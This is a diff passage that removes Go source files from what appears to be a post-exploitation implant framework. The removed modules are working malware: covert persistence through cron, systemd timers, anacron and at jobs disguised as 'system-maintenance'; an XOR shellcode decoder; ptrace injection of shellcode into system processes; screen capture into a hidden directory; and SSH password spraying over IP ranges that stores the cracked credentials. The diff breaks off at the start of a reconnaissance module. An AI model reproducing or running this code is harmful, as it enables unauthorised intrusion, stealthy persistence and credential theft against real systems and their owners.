||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// MarshalJSON is a helper to produce JSON from any value.
|
||||
func MarshalJSON(v any) ([]byte, error) {
|
||||
return json.MarshalIndent(v, "", " ")
|
||||
}
|
||||
@@ -1,224 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&Persistence{})
|
||||
}
|
||||
|
||||
type Persistence struct{}
|
||||
|
||||
func (p *Persistence) Name() string { return "persist_cron" }
|
||||
func (p *Persistence) Category() string { return "persistence" }
|
||||
func (p *Persistence) Description() string {
|
||||
return "Establish persistence via cron, systemd timers, at jobs"
|
||||
}
|
||||
|
||||
func (p *Persistence) Execute(args map[string]string) ([]byte, error) {
|
||||
implantPath := args["implant_path"]
|
||||
if implantPath == "" {
|
||||
implantPath = os.Args[0]
|
||||
}
|
||||
|
||||
result := p.establish(implantPath)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type persistResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Methods []persistMethod `json:"methods"`
|
||||
Statuses []string `json:"statuses"`
|
||||
}
|
||||
|
||||
type persistMethod struct {
|
||||
Type string `json:"type"`
|
||||
Detail string `json:"detail"`
|
||||
Success bool `json:"success"`
|
||||
Timestamp string `json:"timestamp"`
|
||||
}
|
||||
|
||||
func (p *Persistence) establish(implantPath string) *persistResult {
|
||||
r := &persistResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
// 1. User crontab
|
||||
r.Methods = append(r.Methods, p.setupUserCron(implantPath))
|
||||
|
||||
// 2. System crontab (if root)
|
||||
r.Methods = append(r.Methods, p.setupSystemCron(implantPath))
|
||||
|
||||
// 3. Systemd timer (if root)
|
||||
r.Methods = append(r.Methods, p.setupSystemd(implantPath))
|
||||
|
||||
// 4. Anacron
|
||||
r.Methods = append(r.Methods, p.setupAnacron(implantPath))
|
||||
|
||||
// 5. AT job
|
||||
r.Methods = append(r.Methods, p.setupATJob(implantPath))
|
||||
|
||||
// Build status strings
|
||||
for _, m := range r.Methods {
|
||||
status := fmt.Sprintf("[%s] %s", boolStr(m.Success), m.Detail)
|
||||
r.Statuses = append(r.Statuses, status)
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func (p *Persistence) setupUserCron(implantPath string) persistMethod {
|
||||
m := persistMethod{Type: "user_cron", Timestamp: time.Now().UTC().Format(time.RFC3339)}
|
||||
|
||||
cronLine := fmt.Sprintf("*/5 * * * * %s 2>/dev/null\n", implantPath)
|
||||
|
||||
// Get existing crontab
|
||||
existing, _ := exec.Command("crontab", "-l").CombinedOutput()
|
||||
|
||||
newCron := strings.TrimSpace(string(existing))
|
||||
if newCron != "" && !strings.HasSuffix(newCron, "\n") {
|
||||
newCron += "\n"
|
||||
}
|
||||
newCron += cronLine
|
||||
|
||||
// Write via crontab
|
||||
cmd := exec.Command("crontab", "-")
|
||||
cmd.Stdin = strings.NewReader(newCron)
|
||||
if err := cmd.Run(); err == nil {
|
||||
m.Success = true
|
||||
m.Detail = fmt.Sprintf("Added cron: %s", strings.TrimSpace(cronLine))
|
||||
} else {
|
||||
m.Detail = fmt.Sprintf("Failed: %v", err)
|
||||
}
|
||||
|
||||
return m
|
||||
}
|
||||
|
||||
func (p *Persistence) setupSystemCron(implantPath string) persistMethod {
|
||||
m := persistMethod{Type: "system_cron", Timestamp: time.Now().UTC().Format(time.RFC3339)}
|
||||
|
||||
if os.Geteuid() != 0 {
|
||||
m.Detail = "Skipped (not root)"
|
||||
return m
|
||||
}
|
||||
|
||||
cronFile := "/etc/cron.d/.system-maintenance"
|
||||
content := fmt.Sprintf("*/5 * * * * root %s 2>/dev/null\n", implantPath)
|
||||
if err := os.WriteFile(cronFile, []byte(content), 0644); err == nil {
|
||||
m.Success = true
|
||||
m.Detail = fmt.Sprintf("Wrote %s", cronFile)
|
||||
} else {
|
||||
m.Detail = fmt.Sprintf("Failed: %v", err)
|
||||
}
|
||||
|
||||
return m
|
||||
}
|
||||
|
||||
func (p *Persistence) setupSystemd(implantPath string) persistMethod {
|
||||
m := persistMethod{Type: "systemd_timer", Timestamp: time.Now().UTC().Format(time.RFC3339)}
|
||||
|
||||
if os.Geteuid() != 0 {
|
||||
m.Detail = "Skipped (not root)"
|
||||
return m
|
||||
}
|
||||
|
||||
serviceContent := fmt.Sprintf(`[Unit]
|
||||
Description=System Maintenance Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=%s
|
||||
Restart=always
|
||||
RestartSec=60
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
`, implantPath)
|
||||
|
||||
timerContent := `[Unit]
|
||||
Description=Run System Maintenance periodically
|
||||
|
||||
[Timer]
|
||||
OnBootSec=5min
|
||||
OnUnitActiveSec=10min
|
||||
RandomizedDelaySec=30s
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
`
|
||||
|
||||
serviceFile := "/etc/systemd/system/system-maintenance.service"
|
||||
timerFile := "/etc/systemd/system/system-maintenance.timer"
|
||||
|
||||
if err := os.WriteFile(serviceFile, []byte(serviceContent), 0644); err != nil {
|
||||
m.Detail = fmt.Sprintf("Failed service: %v", err)
|
||||
return m
|
||||
}
|
||||
if err := os.WriteFile(timerFile, []byte(timerContent), 0644); err != nil {
|
||||
m.Detail = fmt.Sprintf("Failed timer: %v", err)
|
||||
return m
|
||||
}
|
||||
|
||||
exec.Command("systemctl", "daemon-reload").Run()
|
||||
exec.Command("systemctl", "enable", "--now", "system-maintenance.timer").Run()
|
||||
|
||||
m.Success = true
|
||||
m.Detail = "Systemd timer enabled"
|
||||
return m
|
||||
}
|
||||
|
||||
func (p *Persistence) setupAnacron(implantPath string) persistMethod {
|
||||
m := persistMethod{Type: "anacron", Timestamp: time.Now().UTC().Format(time.RFC3339)}
|
||||
|
||||
if _, err := os.Stat("/etc/anacrontab"); os.IsNotExist(err) {
|
||||
m.Detail = "No anacrontab found"
|
||||
return m
|
||||
}
|
||||
|
||||
entry := fmt.Sprintf("\n# System maintenance\n1\t5\tsystem.maintenance\t%s 2>/dev/null\n", implantPath)
|
||||
f, err := os.OpenFile("/etc/anacrontab", os.O_APPEND|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
m.Detail = fmt.Sprintf("Failed: %v", err)
|
||||
return m
|
||||
}
|
||||
defer f.Close()
|
||||
f.WriteString(entry)
|
||||
m.Success = true
|
||||
m.Detail = "Added anacron entry"
|
||||
return m
|
||||
}
|
||||
|
||||
func (p *Persistence) setupATJob(implantPath string) persistMethod {
|
||||
m := persistMethod{Type: "at_job", Timestamp: time.Now().UTC().Format(time.RFC3339)}
|
||||
|
||||
at, err := exec.LookPath("at")
|
||||
if err != nil {
|
||||
m.Detail = "at command not found"
|
||||
return m
|
||||
}
|
||||
|
||||
cmd := exec.Command(at, "now", "+", "1", "hour")
|
||||
cmd.Stdin = strings.NewReader(fmt.Sprintf("%s 2>/dev/null\n", implantPath))
|
||||
if err := cmd.Run(); err == nil {
|
||||
m.Success = true
|
||||
m.Detail = "Scheduled AT job"
|
||||
} else {
|
||||
m.Detail = fmt.Sprintf("Failed: %v", err)
|
||||
}
|
||||
return m
|
||||
}
|
||||
|
||||
func boolStr(b bool) string {
|
||||
if b {
|
||||
return "+"
|
||||
}
|
||||
return "-"
|
||||
}
|
||||
@@ -1,86 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&PolyLoader{})
|
||||
}
|
||||
|
||||
type PolyLoader struct{}
|
||||
|
||||
func (p *PolyLoader) Name() string { return "polyloader" }
|
||||
func (p *PolyLoader) Category() string { return "evasion" }
|
||||
func (p *PolyLoader) Description() string {
|
||||
return "Polymorphic XOR decode of obfuscated shellcode (feed decoded hex to process_inject)"
|
||||
}
|
||||
|
||||
func (p *PolyLoader) Execute(args map[string]string) ([]byte, error) {
|
||||
shellcode := args["shellcode"]
|
||||
if shellcode == "" {
|
||||
return MarshalJSON(&polyResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Error: "shellcode argument required (base64/hex XOR-obfuscated)",
|
||||
})
|
||||
}
|
||||
key := args["key"]
|
||||
|
||||
result := p.decode(shellcode, key)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type polyResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Shellcode string `json:"shellcode_b64"`
|
||||
Key string `json:"key,omitempty"`
|
||||
DecodedHex string `json:"decoded_hex,omitempty"`
|
||||
DecodedSize int `json:"decoded_size,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
// decode restores XOR-obfuscated shellcode. The result is the decoded byte
|
||||
// sequence (hex) ready for process_inject; this module decodes and validates,
|
||||
// it does not execute - execution is the process_inject payload's job.
|
||||
func (p *PolyLoader) decode(shellcodeInput, key string) *polyResult {
|
||||
r := &polyResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
Shellcode: shellcodeInput,
|
||||
}
|
||||
|
||||
// Decode base64
|
||||
data, err := base64.StdEncoding.DecodeString(shellcodeInput)
|
||||
if err != nil {
|
||||
// Try base64 URL-safe
|
||||
data, err = base64.URLEncoding.DecodeString(shellcodeInput)
|
||||
if err != nil {
|
||||
// Try raw hex
|
||||
data, err = hex.DecodeString(shellcodeInput)
|
||||
if err != nil {
|
||||
r.Error = fmt.Sprintf("failed to decode shellcode: %v", err)
|
||||
return r
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// XOR decrypt (no key => identity)
|
||||
if key != "" {
|
||||
r.Key = key
|
||||
keyBytes := []byte(key)
|
||||
decoded := make([]byte, len(data))
|
||||
for i, b := range data {
|
||||
decoded[i] = b ^ keyBytes[i%len(keyBytes)]
|
||||
}
|
||||
data = decoded
|
||||
}
|
||||
|
||||
r.DecodedHex = hex.EncodeToString(data)
|
||||
r.DecodedSize = len(data)
|
||||
if r.DecodedSize == 0 {
|
||||
r.Error = "decoded shellcode is empty"
|
||||
}
|
||||
return r
|
||||
}
|
||||
@@ -1,210 +0,0 @@
|
||||
//go:build linux
|
||||
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&ProcessInject{})
|
||||
}
|
||||
|
||||
type ProcessInject struct{}
|
||||
|
||||
func (p *ProcessInject) Name() string { return "process_inject" }
|
||||
func (p *ProcessInject) Category() string { return "persistence" }
|
||||
func (p *ProcessInject) Description() string {
|
||||
return "Linux process injection via ptrace (requires root)"
|
||||
}
|
||||
|
||||
func (p *ProcessInject) Execute(args map[string]string) ([]byte, error) {
|
||||
pidStr := args["pid"]
|
||||
name := args["name"]
|
||||
// shellcode as hex string
|
||||
shellcodeHex := args["shellcode"]
|
||||
|
||||
result := p.inject(pidStr, name, shellcodeHex)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type injectResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Targets []injectTarget `json:"targets"`
|
||||
Results []string `json:"results"`
|
||||
}
|
||||
|
||||
type injectTarget struct {
|
||||
PID int `json:"pid"`
|
||||
Name string `json:"name"`
|
||||
Status string `json:"status"`
|
||||
Details string `json:"details,omitempty"`
|
||||
}
|
||||
|
||||
func (p *ProcessInject) inject(pidStr, processName, shellcodeHex string) *injectResult {
|
||||
r := &injectResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
if os.Geteuid() != 0 {
|
||||
r.Results = append(r.Results, "Root privileges required for ptrace injection")
|
||||
return r
|
||||
}
|
||||
|
||||
if pidStr != "" {
|
||||
var pid int
|
||||
fmt.Sscanf(pidStr, "%d", &pid)
|
||||
if pid > 0 {
|
||||
target := p.injectShellcode(pid, shellcodeHex)
|
||||
r.Targets = append(r.Targets, target)
|
||||
r.Results = append(r.Results, fmt.Sprintf("PID %d: %s", pid, target.Status))
|
||||
return r
|
||||
}
|
||||
}
|
||||
|
||||
if processName != "" {
|
||||
targets := p.findProcesses(processName)
|
||||
for _, t := range targets[:min(2, len(targets))] {
|
||||
target := p.injectShellcode(t.PID, shellcodeHex)
|
||||
r.Targets = append(r.Targets, target)
|
||||
r.Results = append(r.Results, fmt.Sprintf("PID %d (%s): %s", t.PID, t.Name, target.Status))
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
// Auto-find benign target
|
||||
targets := p.findBenignProcesses()
|
||||
for _, t := range targets[:min(2, len(targets))] {
|
||||
target := p.injectShellcode(t.PID, shellcodeHex)
|
||||
r.Targets = append(r.Targets, target)
|
||||
r.Results = append(r.Results, fmt.Sprintf("PID %d (%s): %s", t.PID, t.Name, target.Status))
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
func (p *ProcessInject) findProcesses(name string) []injectTarget {
|
||||
var targets []injectTarget
|
||||
out, err := exec.Command("ps", "aux").Output()
|
||||
if err != nil {
|
||||
return targets
|
||||
}
|
||||
lines := strings.Split(string(out), "\n")
|
||||
for _, line := range lines {
|
||||
if strings.Contains(line, name) {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) > 1 {
|
||||
var pid int
|
||||
fmt.Sscanf(fields[1], "%d", &pid)
|
||||
if pid > 0 && pid != os.Getpid() {
|
||||
targets = append(targets, injectTarget{
|
||||
PID: pid,
|
||||
Name: fields[len(fields)-1],
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return targets
|
||||
}
|
||||
|
||||
func (p *ProcessInject) findBenignProcesses() []injectTarget {
|
||||
benign := []string{"systemd-journal", "systemd-logind", "cron", "irqbalance", "dbus-daemon"}
|
||||
var targets []injectTarget
|
||||
for _, name := range benign {
|
||||
targets = append(targets, p.findProcesses(name)...)
|
||||
}
|
||||
return targets
|
||||
}
|
||||
|
||||
func (p *ProcessInject) injectShellcode(pid int, shellcodeHex string) injectTarget {
|
||||
t := injectTarget{PID: pid, Status: "failed"}
|
||||
|
||||
// Get process name
|
||||
if comm, err := os.ReadFile(fmt.Sprintf("/proc/%d/comm", pid)); err == nil {
|
||||
t.Name = strings.TrimSpace(string(comm))
|
||||
}
|
||||
|
||||
// Attach via ptrace
|
||||
err := syscall.PtraceAttach(pid)
|
||||
if err != nil {
|
||||
t.Details = fmt.Sprintf("ptrace attach failed: %v", err)
|
||||
return t
|
||||
}
|
||||
|
||||
// Wait for process to stop
|
||||
var ws syscall.WaitStatus
|
||||
_, err = syscall.Wait4(pid, &ws, 0, nil)
|
||||
if err != nil {
|
||||
syscall.PtraceDetach(pid)
|
||||
t.Details = fmt.Sprintf("wait failed: %v", err)
|
||||
return t
|
||||
}
|
||||
|
||||
// Get registers
|
||||
regs := &syscall.PtraceRegs{}
|
||||
err = syscall.PtraceGetRegs(pid, regs)
|
||||
if err != nil {
|
||||
syscall.PtraceDetach(pid)
|
||||
t.Details = fmt.Sprintf("getregs failed: %v", err)
|
||||
return t
|
||||
}
|
||||
|
||||
// Shellcode is required - there is nothing to run without it.
|
||||
if shellcodeHex == "" {
|
||||
syscall.PtraceDetach(pid)
|
||||
t.Details = "no shellcode provided"
|
||||
return t
|
||||
}
|
||||
shellcode := hexDecode(shellcodeHex)
|
||||
|
||||
// Write shellcode word by word using PTRACE_POKEDATA
|
||||
for i := 0; i < len(shellcode); i += 8 {
|
||||
var word uint64
|
||||
for j := 0; j < 8 && i+j < len(shellcode); j++ {
|
||||
word |= uint64(shellcode[i+j]) << (j * 8)
|
||||
}
|
||||
addr := uintptr(regs.Rsp - uint64(len(shellcode)) + uint64(i))
|
||||
_, _, errno := syscall.Syscall6(syscall.SYS_PTRACE, syscall.PTRACE_POKEDATA,
|
||||
uintptr(pid), addr, uintptr(word), 0, 0)
|
||||
if errno != 0 {
|
||||
t.Details = fmt.Sprintf("pokedata failed at offset %d: %v", i, errno)
|
||||
syscall.PtraceDetach(pid)
|
||||
return t
|
||||
}
|
||||
}
|
||||
|
||||
// Set instruction pointer to shellcode address
|
||||
regs.Rip = regs.Rsp - uint64(len(shellcode))
|
||||
err = syscall.PtraceSetRegs(pid, regs)
|
||||
if err != nil {
|
||||
syscall.PtraceDetach(pid)
|
||||
t.Details = fmt.Sprintf("setregs failed: %v", err)
|
||||
return t
|
||||
}
|
||||
|
||||
// Detach (process will execute shellcode)
|
||||
err = syscall.PtraceDetach(pid)
|
||||
if err != nil {
|
||||
t.Details = fmt.Sprintf("detach failed: %v", err)
|
||||
return t
|
||||
}
|
||||
|
||||
t.Status = "success"
|
||||
t.Details = fmt.Sprintf("Injected %d bytes shellcode", len(shellcode))
|
||||
return t
|
||||
}
|
||||
|
||||
func hexDecode(s string) []byte {
|
||||
var data []byte
|
||||
for i := 0; i < len(s)-1; i += 2 {
|
||||
var b byte
|
||||
fmt.Sscanf(s[i:i+2], "%02x", &b)
|
||||
data = append(data, b)
|
||||
}
|
||||
return data
|
||||
}
|
||||
@@ -1,119 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&Screenshot{})
|
||||
}
|
||||
|
||||
type Screenshot struct{}
|
||||
|
||||
func (s *Screenshot) Name() string { return "screenshot" }
|
||||
func (s *Screenshot) Category() string { return "collection" }
|
||||
func (s *Screenshot) Description() string {
|
||||
return "Capture screen using import/xwd (Linux) or platform-specific tools"
|
||||
}
|
||||
|
||||
func (s *Screenshot) Execute(args map[string]string) ([]byte, error) {
|
||||
result := s.capture()
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type screenshotResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Method string `json:"method"`
|
||||
FilePath string `json:"filepath"`
|
||||
Size int64 `json:"size_bytes"`
|
||||
Base64 string `json:"base64,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
func (s *Screenshot) capture() *screenshotResult {
|
||||
r := &screenshotResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
outputDir := filepath.Join(os.TempDir(), ".rogue", "screenshots")
|
||||
os.MkdirAll(outputDir, 0700)
|
||||
filename := fmt.Sprintf("screenshot_%s.png", time.Now().Format("20060102_150405"))
|
||||
filepath := filepath.Join(outputDir, filename)
|
||||
|
||||
// Method 1: import (ImageMagick)
|
||||
if imp, err := exec.LookPath("import"); err == nil {
|
||||
r.Method = "import (ImageMagick)"
|
||||
cmd := exec.Command(imp, "-window", "root", filepath)
|
||||
if err := cmd.Run(); err == nil {
|
||||
return s.finalize(r, filepath)
|
||||
}
|
||||
}
|
||||
|
||||
// Method 2: xwd + convert
|
||||
if xwd, err := exec.LookPath("xwd"); err == nil {
|
||||
xwdFile := filepath + ".xwd"
|
||||
cmd := exec.Command(xwd, "-root", "-out", xwdFile)
|
||||
if err := cmd.Run(); err == nil {
|
||||
if convert, err := exec.LookPath("convert"); err == nil {
|
||||
exec.Command(convert, xwdFile, filepath).Run()
|
||||
os.Remove(xwdFile)
|
||||
if _, err := os.Stat(filepath); err == nil {
|
||||
r.Method = "xwd+convert"
|
||||
return s.finalize(r, filepath)
|
||||
}
|
||||
}
|
||||
// Fallback: return xwd
|
||||
filepath = xwdFile
|
||||
r.Method = "xwd"
|
||||
return s.finalize(r, filepath)
|
||||
}
|
||||
}
|
||||
|
||||
// Method 3: scrot
|
||||
if scrot, err := exec.LookPath("scrot"); err == nil {
|
||||
scrotFile := filepath
|
||||
cmd := exec.Command(scrot, scrotFile, "-z") // -z = silent
|
||||
if err := cmd.Run(); err == nil {
|
||||
r.Method = "scrot"
|
||||
return s.finalize(r, scrotFile)
|
||||
}
|
||||
}
|
||||
|
||||
// Method 4: gnome-screenshot
|
||||
if gnome, err := exec.LookPath("gnome-screenshot"); err == nil {
|
||||
cmd := exec.Command(gnome, "-f", filepath)
|
||||
if err := cmd.Run(); err == nil {
|
||||
r.Method = "gnome-screenshot"
|
||||
return s.finalize(r, filepath)
|
||||
}
|
||||
}
|
||||
|
||||
r.Error = "No screen capture tool found (try: import, xwd, scrot, gnome-screenshot)"
|
||||
return r
|
||||
}
|
||||
|
||||
func (s *Screenshot) finalize(r *screenshotResult, path string) *screenshotResult {
|
||||
fi, err := os.Stat(path)
|
||||
if err == nil {
|
||||
r.FilePath = path
|
||||
r.Size = fi.Size()
|
||||
}
|
||||
|
||||
// Base64 encode small captures (< 1MB)
|
||||
if r.Size > 0 && r.Size < 1*1024*1024 {
|
||||
if data, err := os.ReadFile(path); err == nil {
|
||||
r.Base64 = base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
}
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
// Force unused import suppression
|
||||
var _ = strings.TrimSpace
|
||||
@@ -1,238 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/crypto/ssh"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&SSHSpray{})
|
||||
}
|
||||
|
||||
type SSHSpray struct{}
|
||||
|
||||
func (s *SSHSpray) Name() string { return "sshspray" }
|
||||
func (s *SSHSpray) Category() string { return "lateral" }
|
||||
func (s *SSHSpray) Description() string { return "SSH credential spraying with goroutine worker pool" }
|
||||
|
||||
func (s *SSHSpray) Execute(args map[string]string) ([]byte, error) {
|
||||
targetsStr := args["targets"]
|
||||
usersStr := args["usernames"]
|
||||
passStr := args["passwords"]
|
||||
targetFile := args["target_file"]
|
||||
threadsInt := 5
|
||||
timeoutInt := 5
|
||||
fmt.Sscanf(args["threads"], "%d", &threadsInt)
|
||||
fmt.Sscanf(args["timeout"], "%d", &timeoutInt)
|
||||
|
||||
result := s.spray(targetsStr, usersStr, passStr, targetFile, threadsInt, timeoutInt)
|
||||
return MarshalJSON(result)
|
||||
}
|
||||
|
||||
type sshSprayResult struct {
|
||||
Timestamp string `json:"timestamp"`
|
||||
Successes int `json:"successful"`
|
||||
Failed int `json:"failed"`
|
||||
Errors int `json:"errors"`
|
||||
Credentials []sshCred `json:"credentials"`
|
||||
SampleErrors []map[string]string `json:"sample_errors,omitempty"`
|
||||
TotalAttempts int `json:"total_attempts"`
|
||||
}
|
||||
|
||||
type sshCred struct {
|
||||
Target string `json:"target"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
Time string `json:"timestamp"`
|
||||
}
|
||||
|
||||
func (s *SSHSpray) spray(targetsStr, usersStr, passStr, targetFile string, threads, timeoutSec int) *sshSprayResult {
|
||||
r := &sshSprayResult{
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
// Parse targets
|
||||
var targets []string
|
||||
if targetFile != "" {
|
||||
data, err := os.ReadFile(targetFile)
|
||||
if err == nil {
|
||||
for _, line := range strings.Split(string(data), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line != "" {
|
||||
targets = append(targets, expandTarget(line)...)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if targetsStr != "" {
|
||||
for _, t := range strings.Split(targetsStr, ",") {
|
||||
t = strings.TrimSpace(t)
|
||||
if t != "" {
|
||||
targets = append(targets, expandTarget(t)...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Parse/users passwords
|
||||
usernames := []string{"root", "admin", "ubuntu", "pi", "test", "user", "oracle", "postgres"}
|
||||
passwords := []string{"password", "123456", "admin", "root", "test", "password123", "toor", "raspberry", "changeme"}
|
||||
|
||||
if usersStr != "" {
|
||||
usernames = strings.Split(usersStr, ",")
|
||||
}
|
||||
if passStr != "" {
|
||||
passwords = strings.Split(passStr, ",")
|
||||
}
|
||||
|
||||
if len(targets) == 0 {
|
||||
return r
|
||||
}
|
||||
|
||||
// Build job queue
|
||||
type job struct {
|
||||
target string
|
||||
username string
|
||||
password string
|
||||
}
|
||||
|
||||
jobs := make(chan job, 1000)
|
||||
go func() {
|
||||
for _, target := range targets {
|
||||
for _, user := range usernames {
|
||||
for _, pass := range passwords {
|
||||
jobs <- job{target: target, username: strings.TrimSpace(user), password: strings.TrimSpace(pass)}
|
||||
}
|
||||
}
|
||||
}
|
||||
close(jobs)
|
||||
}()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
sema := make(chan struct{}, threads)
|
||||
|
||||
for j := range jobs {
|
||||
if len(r.Credentials) > 50 {
|
||||
// Stop when we have enough successes
|
||||
break
|
||||
}
|
||||
sema <- struct{}{}
|
||||
wg.Add(1)
|
||||
go func(j job) {
|
||||
defer wg.Done()
|
||||
defer func() { <-sema }()
|
||||
|
||||
success := trySSH(j.target, j.username, j.password, timeoutSec)
|
||||
mu.Lock()
|
||||
if success {
|
||||
r.Credentials = append(r.Credentials, sshCred{
|
||||
Target: j.target,
|
||||
Username: j.username,
|
||||
Password: j.password,
|
||||
Time: time.Now().UTC().Format(time.RFC3339),
|
||||
})
|
||||
r.Successes++
|
||||
} else {
|
||||
r.Failed++
|
||||
}
|
||||
mu.Unlock()
|
||||
|
||||
// Delay
|
||||
time.Sleep(time.Duration(100+time.Now().Nanosecond()%1000) * time.Millisecond)
|
||||
}(j)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
r.TotalAttempts = r.Successes + r.Failed
|
||||
|
||||
// Save credentials
|
||||
cacheDir := filepath.Join(os.TempDir(), ".rogue", "ssh")
|
||||
os.MkdirAll(cacheDir, 0700)
|
||||
credFile := filepath.Join(cacheDir, fmt.Sprintf("ssh_creds_%s.txt", time.Now().Format("20060102_150405")))
|
||||
var credLines []string
|
||||
for _, c := range r.Credentials {
|
||||
credLines = append(credLines, fmt.Sprintf("%s:%s:%s", c.Target, c.Username, c.Password))
|
||||
}
|
||||
os.WriteFile(credFile, []byte(strings.Join(credLines, "\n")), 0600)
|
||||
|
||||
return r
|
||||
}
|
||||
|
||||
func expandTarget(target string) []string {
|
||||
var targets []string
|
||||
|
||||
// CIDR range
|
||||
if strings.Contains(target, "/") {
|
||||
_, ipnet, err := net.ParseCIDR(target)
|
||||
if err == nil {
|
||||
firstIP := ipnet.IP.Mask(ipnet.Mask)
|
||||
for ip := make(net.IP, len(firstIP)); copy(ip, firstIP) > 0; incIP(ip) {
|
||||
if !ipnet.Contains(ip) {
|
||||
break
|
||||
}
|
||||
if !ip.Equal(firstIP) {
|
||||
targets = append(targets, ip.String())
|
||||
}
|
||||
if len(targets) >= 256 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return targets
|
||||
}
|
||||
}
|
||||
|
||||
// Range like 192.168.1.1-100
|
||||
if strings.Contains(target, "-") && strings.Count(target, ".") == 3 {
|
||||
lastDot := strings.LastIndex(target, ".")
|
||||
base := target[:lastDot]
|
||||
rangeStr := target[lastDot+1:]
|
||||
if strings.Contains(rangeStr, "-") {
|
||||
parts := strings.SplitN(rangeStr, "-", 2)
|
||||
var start, end int
|
||||
n1, _ := fmt.Sscanf(parts[0], "%d", &start)
|
||||
n2, _ := fmt.Sscanf(parts[1], "%d", &end)
|
||||
if n1 == 1 && n2 == 1 {
|
||||
for i := start; i <= end && i <= 255; i++ {
|
||||
targets = append(targets, fmt.Sprintf("%s.%d", base, i))
|
||||
}
|
||||
}
|
||||
return targets
|
||||
}
|
||||
}
|
||||
|
||||
targets = append(targets, target)
|
||||
return targets
|
||||
}
|
||||
|
||||
func incIP(ip net.IP) {
|
||||
for j := len(ip) - 1; j >= 0; j-- {
|
||||
ip[j]++
|
||||
if ip[j] > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func trySSH(host, username, password string, timeout int) bool {
|
||||
config := &ssh.ClientConfig{
|
||||
User: username,
|
||||
Auth: []ssh.AuthMethod{ssh.Password(password)},
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
Timeout: time.Duration(timeout) * time.Second,
|
||||
}
|
||||
|
||||
addr := fmt.Sprintf("%s:22", host)
|
||||
client, err := ssh.Dial("tcp", addr, config)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
client.Close()
|
||||
return true
|
||||
}
|
||||
@@ -1,486 +0,0 @@
|
||||
package payloads
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
func init() {
|
||||
Register(&SysRecon{})
|
||||
}
|
||||
|
||||
type SysRecon struct{}
|
||||
|
||||
func (s *SysRecon) Name() string { return "sysrecon" }
|
||||
func (s *SysRecon) Category() string { return "recon" }
|
||||
func (s *SysRecon) Description() string {
|
||||
return "Full system enumeration (OS, kernel, users, processes, network, hardware, software, defenses)"
|
||||
}
|
||||
|
||||
func (s *SysRecon) Execute(args map[string]string) ([]byte, error) {
|
||||
info := s.gatherSystemInfo()
|
||||
return MarshalJSON(info)
|
||||
}
|
||||
|
||||
type sysInfo struct {
|
||||
